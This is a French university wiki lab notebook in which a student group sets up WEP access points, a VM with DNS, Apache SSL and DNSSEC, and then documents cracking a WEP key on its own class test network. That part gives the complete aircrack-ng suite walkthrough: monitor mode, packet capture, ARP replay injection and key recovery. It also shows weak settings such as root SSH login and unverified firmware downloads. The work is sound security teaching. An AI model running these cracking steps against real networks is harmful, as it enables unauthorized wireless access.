Cahier 2017 groupe n°3 : Différence entre versions

De Wiki d'activités IMA
(Serveur dns)
(séances supplémentaires)
 
(19 révisions intermédiaires par 2 utilisateurs non affichées)
Ligne 38 : Ligne 38 :
 
*Configuration de gandi et de notre serveur dns avec bind9
 
*Configuration de gandi et de notre serveur dns avec bind9
  
==== séance 5 ====
+
==== séances supplémentaires ====
  
 
*Sécurisation de site web par certificats
 
*Sécurisation de site web par certificats
 
*Sécurisation de site web par dnssec
 
*Sécurisation de site web par dnssec
 +
*crackage de clef WEP
  
 
=== Configuration d'un point d'accès===
 
=== Configuration d'un point d'accès===
Ligne 73 : Ligne 74 :
 
   ap#write memory
 
   ap#write memory
  
 +
 +
 +
=== Craquage de clé WEP ===
 +
==== Établissement de connexion ====
 +
Premièrement il faut s'assurer de l'installation du driver de la clef Wi-fi (présence d'une interface Wi-fi en tapant ''iwconfig''). Dans le cas contraire, il faut installer le driver en suivant la manipulation suivante (l'exemple est pour une clef Netgear):
 +
*Afficher les dispositif connecté à l'ordinateur par USB:
 +
  lsusb
 +
*On récupère les informations représentant la clef, ici '''Intersil ISL3887'''.
 +
*Suivant le modèle de puce à disposition, il faut télécharger le driver et l'installer. Dans notre cas nous avons suivi le site suivant [https://wiki.debian.org/fr/prism54]
 +
<pre>
 +
  wget https://daemonizer.de/prism54/prism54-fw/fw-usb/2.13.25.0.lm87.arm --no-check-certificate
 +
  mv 2.13.25.0.lm87.arm /lib/firmware/isl3887usb
 +
  modprobe -r p54usb ; modprobe p54usb
 +
</pre>
 +
*On remarque maintenant que la LED devient bleu et qu'une interface Wi-fi apparaît avec ''iwconfig''.
 +
 +
 +
Une fois le driver installé, on configure le fichier '''/etc/network/interfaces''' pour attribuer une adresse IP static à la machine et pouvoir se connecter sur un des réseaux Wi-fi disponible (ici le réseau banane):
 +
<pre>
 +
auto <nom de l'interface (wlx000fb592236a)>
 +
iface <nom de l'interface> inet static
 +
address <adresse IP qu'on donne à ce réseau (10.2.0.100)>
 +
netmask <masque (255.255.0.0)>
 +
wireless-essid <essid (banane)>
 +
wireless-key <mot de passe Wi-fi (à regarder dans le doc de la promo)>
 +
</pre>
 +
Pour terminer il faut démarrer l'interface Wi-fi pour prendre en compte la nouvelle configuration:
 +
<pre>
 +
ifdown <nom de l'interface>
 +
ifup <nom de l'interface>
 +
</pre>
 +
La connexion doit maintenant être établie.
 +
 +
==== Craquage du mot de passe ====
 +
*La première étape est de générer du trafic sur le réseau (pour avoir des paquets ARP à capturer), pour cela nous avons utilisé la commande ''Nping'':
 +
<pre>
 +
nping --arp-type ARP -c 11000  --flags rst --ttl 2 10.2.0.2
 +
 +
# --arp-type ARP pour préciser que c'est des paquets ARP que l'on veut
 +
# -c 11000 on va envoyer 11000 paquets, cela nous laissera assez de temps pour craquer la clé. 
 +
# 10.2.0.2 est l'addresse IP du point d'accès .
 +
</pre>
 +
*Nous allons faire passer la clef Wi-fi en mode moniteur
 +
  airmon-ng start wlx000fb592236b (avec wlx000fb592236b le nom de notre clef Wi-fi obtenu avec ''iwconfig'')
 +
*En refaisant un ''iwconfig'', on remarque que le nom de notre clef Wi-fi est maintenant '''wlan0mon'''.
 +
*Il faut maintenant trouver le réseau Wi-fi à craquer. Nous avons besoin des informations suivantes, BSSID, channel (CH) et ESSID.
 +
  airodump-ng wlan0mon
 +
 +
[[Fichier:groseilleAirodump-ng.png|600px|thumb|center|Résultat de la commande airodump en filtrant pour le réseau à craquer.]]
 +
 +
*On va maintenant surveiller le réseau et capturer les informations qui circule.
 +
<pre>
 +
airodump-ng --bssid C4:14:3C:40:78:61 -c 3 -w crack_wep wlan0mon
 +
# -c 3 précise que le réseau est sur le channel 3.
 +
# -w crack_wep est le fichier qui va stocker les paquets capturé.
 +
</pre>
 +
*En parallèle de la commande airodump-ng, nous allons générer encore plus de trafic sur le réseau pour éviter d'attendre très longtemps d'avoir assez de paquets (#Data).
 +
<pre>
 +
aireplay-ng -3 -b C4:14:3C:40:78:61 -h 00:0F:B5:92:23:6A wlan0mon
 +
# -3 précise un ARP Request Replay Attack.
 +
# 00:0F:B5:92:23:6A étant l'addresse MAC de du premier ordinateur qui connecté sur le réseau.
 +
</pre>
 +
*Une fois que nous avons capturé assez de paquets, étant donné la longueur des clés nous avons capturé environs 30000 paquets, il suffit de craquer la data capturé dans le fichier .cap avec la commande ci-dessous:
 +
  aircrack-ng crack_wep-02.cap
 +
[[Fichier:GroseilleCrackWEPsuccessfull.png|600px|thumb|center|Résultat de craquage de clé WEP.]]
  
 
=== Partie commune===
 
=== Partie commune===
Ligne 113 : Ligne 179 :
  
 
[[Fichier:db.groseille.space.png|600px]]
 
[[Fichier:db.groseille.space.png|600px]]
 +
 +
ps : Correction faite après coup : Ajout de la ligne :
 +
 +
  IN NS ns6.gandi.net.
 +
  
  
Ligne 154 : Ligne 225 :
 
===== Sécurisation de site web par certificats =====
 
===== Sécurisation de site web par certificats =====
  
 +
Après avoir naviguer dans les pages de gandi pour sécuriser notre site web via ssl, gandi nous demande un fichier csr.
 +
On le générera comme ceci:
 +
 +
  openssl req -nodes -newkey rsa:2048 -sha1 -keyout groseille.space.key -out groseille.space.csr
 +
 +
On remplira par la suite les informations ci-dessous:
 +
 +
  Country Name (2 letter code) [AU]:FR
 +
  State or Province Name (full name) [Some-State]:Nord
 +
  Locality Name (eg, city) []:Villeneuve d'ascq
 +
  Organization Name (eg, company) [Internet Widgits Pty Ltd]:groseille.space
 +
  Organizational Unit Name (eg, section) []:groseille.space
 +
  Common Name (e.g. server FQDN or YOUR name) []:groseille.space
 +
 +
 +
En choisissant la troisième option, gandi nous demandait de mettre un fichier à la racine.
 +
 +
[[Fichier:Gandi_3options.png|300px]]
 +
 +
Nous avons donc téléchargé le fichier et collé dans :
 +
 +
  var/www/www.groseille.space/.well-known/pki-validation/DE2B588C8156976B90DB59420093DEDC.txt
 +
 +
 +
Seulement, notre site n'était uniquement accessible en www.groseille.space mais pas sans les www.
 +
Après recherches, nous avons donc rajouter une ligne au fichier db.groseille.space dans bind:
 +
 +
  @      IN      A      193.48.57.183
 +
 +
 +
Cependant, une fois que tout sera validé par gandi, nous nous occuperons des fichier .crt, .pem, .key associés:
 +
 +
  cp groseille.space.key /etc/ssl/private/.
 +
  cp GandiStandardSSLCA2.pem /etc/ssl/certs/.
 +
  cp groseille.space.crt /etc/ssl/certs/.
 +
 +
  c_rehash /etc/ssl/certs
 +
 +
On modifiera /etc/apache2/sites-available/000-groseille.space-ssl.conf
 +
 +
[[Fichier:GroseilleApache.png|600px]]
 +
 +
On écrira dans ports.conf de apache :
 +
 +
  Listen 80 443
 +
 +
  <IfModule ssl_module>
 +
          Listen 443
 +
  </IfModule>
 +
 +
On activera le module SSL de Apache et notre site avec ces commandes:
 +
 +
  a2enmod ssl
 +
  a2ensite 000-groseille.space-ssl.conf
 +
  service apache2 reload
  
 
===== Sécurisation de site web par dnssec =====
 
===== Sécurisation de site web par dnssec =====
 +
 +
On cherchera à sécuriser notre serveur DNS en signant la zone correspondant à notre nom de domaine.
 +
 +
Dans le fichier : named.conf.options on ajoutera l'option:
 +
 +
  dnssec-enable yes;
 +
 +
On créera le répertoire groseille.space.dnssec pour y générer les clefs.
 +
 +
Dedans, on créera aussi la clef asymétrique de la zone pour signer les enregistrements.
 +
 +
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE groseille.space
 +
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE groseille.space
 +
 +
On les renommera pour avoir :
 +
 +
  groseille.space-ksk.key
 +
  groseille.space-ksk.private
 +
  groseille.space-zsk.key
 +
  groseille.space-zsk.private
 +
 +
On modifiera le fichier /etc/bind/db.groseille.space comme ceci :
 +
 
 +
  $include /etc/bind/groseille.space.dnssec/groseille.space-ksk.key
 +
  $include /etc/bind/groseille.space.dnssec/groseille.space-zsk.key
 +
 +
Signature des enregistrements de zone (dans /etc/bind/groseille.space.dnssec)
 +
 +
  dnssec-signzone -o groseille.space -k groseille.space-ksk ../db.groseille.space groseille.space-zsk
 +
 +
On modifie pour finir le fichier named.conf.local pour avoir db.groseille.space.signed
 +
 +
Après avoir enregistrer le record sur gandi, on attend que gandi prenne en compte les nouvelles configurations.
 +
On pourra vérifier les modifications grâce aux commandes:
 +
 +
  grep 217.70.177.40 /var/log/daemon.log
 +
  host -t any groseille.space ns6.gandi.net
 +
  for f in /var/log/apache2/access.log.*gz ; do zcat $f | grep -i well ; done

Version actuelle datée du 15 janvier 2018 à 13:12

Configuration des points d'accès wifi

présentation

Schéma du réseau:


Schéma du réseau du projet

Notre objectif est de mettre en place une VM sur le serveur Cordouan et d'installer les points d'accès wifi pour les autres groupes. On cherchera à faire un banc de test et de tester la sécurité des chiffrements WEP et WPA.

avancement du travail

séance 1

  • Explication du projet
  • Répartition du travail dans les différents groupes
  • Gestion des adresses ip de chacun

séance 2

  • Exploration des locaux techniques de Polytech
  • Création de la VM Xen sur le serveur Cordouan
  • installation des paquetages nécessaires pour ssh, serveur WEB apache2 et le serveur DNS Bind
  • Achat du domaine :

séance 3

  • Mise en place des 2 premiers points d'accès wifi.
  • Avancement dans la compréhension de l'utilisation de la clef wifi

séance 4

  • Mise en place des 5 derniers points d'accès wifi.
  • Connexion faite entre la machine avec la clef wifi et le point d'accès.
  • Configuration de gandi et de notre serveur dns avec bind9

séances supplémentaires

  • Sécurisation de site web par certificats
  • Sécurisation de site web par dnssec
  • crackage de clef WEP

Configuration d'un point d'accès

Commencer par se mettre en mode configuration:

 ap>enable
 ap#configure terminal

La configuration pour un point d'accès pour une sécurisation WEP est donc:

 ap(config)#dot11 ssid tomate
 ap(config-ssid)#authentication open
 ap(config-ssid)#vlan 8
 ap(config-ssid)#mbssid guest-mode 
 ap(config-ssid)#exit
 ap(config)#Interface dot11radio0
 ap(config)#ssid tomate
 ap(config-ssid)#no shutdown
 ap(config-ssid)#Encryption vlan 8 mode wep mandatory
 ap(config-ssid)#Encryption vlan 8 key 1 size 128bit 05050505050505050505050505
 ap(config-ssid)#End

Écrire les modifications:

 ap#write memory

Configurer le sous interface pour Dot11 radio 0 et Ethernet.

 ap#configure terminal
 ap(config)#interface Dot11Radio0.8
 ap(config-subif)#encapsulation dot1Q 8
 ap(config-subif)#bridge-group 8
 ap(config-subif)#interface GigabitEthernet0.8
 ap(config-subif)#encapsulation dot1Q 8
 ap(config-subif)#bridge-group 8
 ap(config-subif)#end
 ap#write memory


Craquage de clé WEP

Établissement de connexion

Premièrement il faut s'assurer de l'installation du driver de la clef Wi-fi (présence d'une interface Wi-fi en tapant iwconfig). Dans le cas contraire, il faut installer le driver en suivant la manipulation suivante (l'exemple est pour une clef Netgear):

  • Afficher les dispositif connecté à l'ordinateur par USB:
 lsusb
  • On récupère les informations représentant la clef, ici Intersil ISL3887.
  • Suivant le modèle de puce à disposition, il faut télécharger le driver et l'installer. Dans notre cas nous avons suivi le site suivant [1]
  wget https://daemonizer.de/prism54/prism54-fw/fw-usb/2.13.25.0.lm87.arm --no-check-certificate
  mv 2.13.25.0.lm87.arm /lib/firmware/isl3887usb
  modprobe -r p54usb ; modprobe p54usb
  • On remarque maintenant que la LED devient bleu et qu'une interface Wi-fi apparaît avec iwconfig.


Une fois le driver installé, on configure le fichier /etc/network/interfaces pour attribuer une adresse IP static à la machine et pouvoir se connecter sur un des réseaux Wi-fi disponible (ici le réseau banane):

auto <nom de l'interface (wlx000fb592236a)>
 iface <nom de l'interface> inet static
 address <adresse IP qu'on donne à ce réseau (10.2.0.100)>
 netmask <masque (255.255.0.0)>
 wireless-essid <essid (banane)>
 wireless-key <mot de passe Wi-fi (à regarder dans le doc de la promo)>

Pour terminer il faut démarrer l'interface Wi-fi pour prendre en compte la nouvelle configuration:

ifdown <nom de l'interface> 
ifup <nom de l'interface>

La connexion doit maintenant être établie.

Craquage du mot de passe

  • La première étape est de générer du trafic sur le réseau (pour avoir des paquets ARP à capturer), pour cela nous avons utilisé la commande Nping:
nping --arp-type ARP -c 11000  --flags rst --ttl 2 10.2.0.2

# --arp-type ARP pour préciser que c'est des paquets ARP que l'on veut
# -c 11000 on va envoyer 11000 paquets, cela nous laissera assez de temps pour craquer la clé.  
# 10.2.0.2 est l'addresse IP du point d'accès . 
  • Nous allons faire passer la clef Wi-fi en mode moniteur
 airmon-ng start wlx000fb592236b (avec wlx000fb592236b le nom de notre clef Wi-fi obtenu avec iwconfig)
  • En refaisant un iwconfig, on remarque que le nom de notre clef Wi-fi est maintenant wlan0mon.
  • Il faut maintenant trouver le réseau Wi-fi à craquer. Nous avons besoin des informations suivantes, BSSID, channel (CH) et ESSID.
 airodump-ng wlan0mon
Résultat de la commande airodump en filtrant pour le réseau à craquer.
  • On va maintenant surveiller le réseau et capturer les informations qui circule.
airodump-ng --bssid C4:14:3C:40:78:61 -c 3 -w crack_wep wlan0mon
# -c 3 précise que le réseau est sur le channel 3.
# -w crack_wep est le fichier qui va stocker les paquets capturé. 
  • En parallèle de la commande airodump-ng, nous allons générer encore plus de trafic sur le réseau pour éviter d'attendre très longtemps d'avoir assez de paquets (#Data).
aireplay-ng -3 -b C4:14:3C:40:78:61 -h 00:0F:B5:92:23:6A wlan0mon
# -3 précise un ARP Request Replay Attack. 
# 00:0F:B5:92:23:6A étant l'addresse MAC de du premier ordinateur qui connecté sur le réseau. 
  • Une fois que nous avons capturé assez de paquets, étant donné la longueur des clés nous avons capturé environs 30000 paquets, il suffit de craquer la data capturé dans le fichier .cap avec la commande ci-dessous:
 aircrack-ng crack_wep-02.cap 
Résultat de craquage de clé WEP.

Partie commune

Création de la VM

Pour suivre le thème de la promo qui porte sur les fruits, nous avons crée une machine virtuelle sur le serveur cordouan qui se nomme IMA5-GROSEILLE.

Cette VM hébergera un site web sécurisé qui se nommera www.groseille.space.

Pour cela on utilisera les commandes :

  • xen-create-image pour créer la machine virtuelle
  • lv-create pour que les répertoires /var et /home soient sur les partitions LVM de l'hôte.

Une fois la machine virtuelle crée, on créera la session avec:

 xl create IMA5-GROSEILLE.cfg

dans le repertoire /etc/xen

et :

 xl console IMA5-GROSEILLE

pour accéder à la VM.

Mise en place des services internet

Serveur dns

On installe notre outil de serveur web et de serveur de DNS

 apt-get install apache2
 apt-get install bind9


On se place dans le dossier : /etc/bind et on crée le fichier : db.groseille.space pour notre adresse ip (193.48.57.183)


Db.groseille.space.png

ps : Correction faite après coup : Ajout de la ligne :

  	IN	NS	ns6.gandi.net.


Et on spécifie notre zone dans le fichier named.conf.local


Groseille named.conf.local.png

On redémarre le service pour appliquer les changements:

 service bind9 restart

Et on configure le nom de dns sur le site de gandi. Dans name servers :

 DNS1 : ns.groseille.space
 DNS2 : ns6.gandi.net

Dans Glue records:

Groseille glue records.png

Serveur ssh

Pour installer le service, nous installons tout d'abords le package openssh-server

 apt-get install openssh-server

Notre utilisateur est root. Il nous faut donc autoriser l'accès directement en root.

 vim /etc/ssh/sshd_config

et tapez ou décommentez:

 PermitRootLogin yes

On peut donc maintenant se connecter en ssh à notre machine virtuelle en tapant:

 ssh root@www.groseille.space
Sécurisation de site web par certificats

Après avoir naviguer dans les pages de gandi pour sécuriser notre site web via ssl, gandi nous demande un fichier csr. On le générera comme ceci:

 openssl req -nodes -newkey rsa:2048 -sha1 -keyout groseille.space.key -out groseille.space.csr

On remplira par la suite les informations ci-dessous:

 Country Name (2 letter code) [AU]:FR
 State or Province Name (full name) [Some-State]:Nord
 Locality Name (eg, city) []:Villeneuve d'ascq
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:groseille.space
 Organizational Unit Name (eg, section) []:groseille.space
 Common Name (e.g. server FQDN or YOUR name) []:groseille.space


En choisissant la troisième option, gandi nous demandait de mettre un fichier à la racine.

Gandi 3options.png

Nous avons donc téléchargé le fichier et collé dans :

 var/www/www.groseille.space/.well-known/pki-validation/DE2B588C8156976B90DB59420093DEDC.txt


Seulement, notre site n'était uniquement accessible en www.groseille.space mais pas sans les www. Après recherches, nous avons donc rajouter une ligne au fichier db.groseille.space dans bind:

 @       IN      A       193.48.57.183


Cependant, une fois que tout sera validé par gandi, nous nous occuperons des fichier .crt, .pem, .key associés:

 cp groseille.space.key /etc/ssl/private/.
 cp GandiStandardSSLCA2.pem /etc/ssl/certs/. 
 cp groseille.space.crt /etc/ssl/certs/.
 c_rehash /etc/ssl/certs

On modifiera /etc/apache2/sites-available/000-groseille.space-ssl.conf

GroseilleApache.png

On écrira dans ports.conf de apache :

  Listen 80 443
  <IfModule ssl_module>
          Listen 443
  </IfModule>

On activera le module SSL de Apache et notre site avec ces commandes:

  a2enmod ssl
  a2ensite 000-groseille.space-ssl.conf
  service apache2 reload
Sécurisation de site web par dnssec

On cherchera à sécuriser notre serveur DNS en signant la zone correspondant à notre nom de domaine.

Dans le fichier : named.conf.options on ajoutera l'option:

 dnssec-enable yes;

On créera le répertoire groseille.space.dnssec pour y générer les clefs.

Dedans, on créera aussi la clef asymétrique de la zone pour signer les enregistrements.

 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE groseille.space
 dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE groseille.space

On les renommera pour avoir :

 groseille.space-ksk.key
 groseille.space-ksk.private
 groseille.space-zsk.key
 groseille.space-zsk.private

On modifiera le fichier /etc/bind/db.groseille.space comme ceci :

 $include /etc/bind/groseille.space.dnssec/groseille.space-ksk.key
 $include /etc/bind/groseille.space.dnssec/groseille.space-zsk.key

Signature des enregistrements de zone (dans /etc/bind/groseille.space.dnssec)

 dnssec-signzone -o groseille.space -k groseille.space-ksk ../db.groseille.space groseille.space-zsk

On modifie pour finir le fichier named.conf.local pour avoir db.groseille.space.signed

Après avoir enregistrer le record sur gandi, on attend que gandi prenne en compte les nouvelles configurations. On pourra vérifier les modifications grâce aux commandes:

 grep 217.70.177.40 /var/log/daemon.log
 host -t any groseille.space ns6.gandi.net
 for f in /var/log/apache2/access.log.*gz ; do zcat $f | grep -i well ; done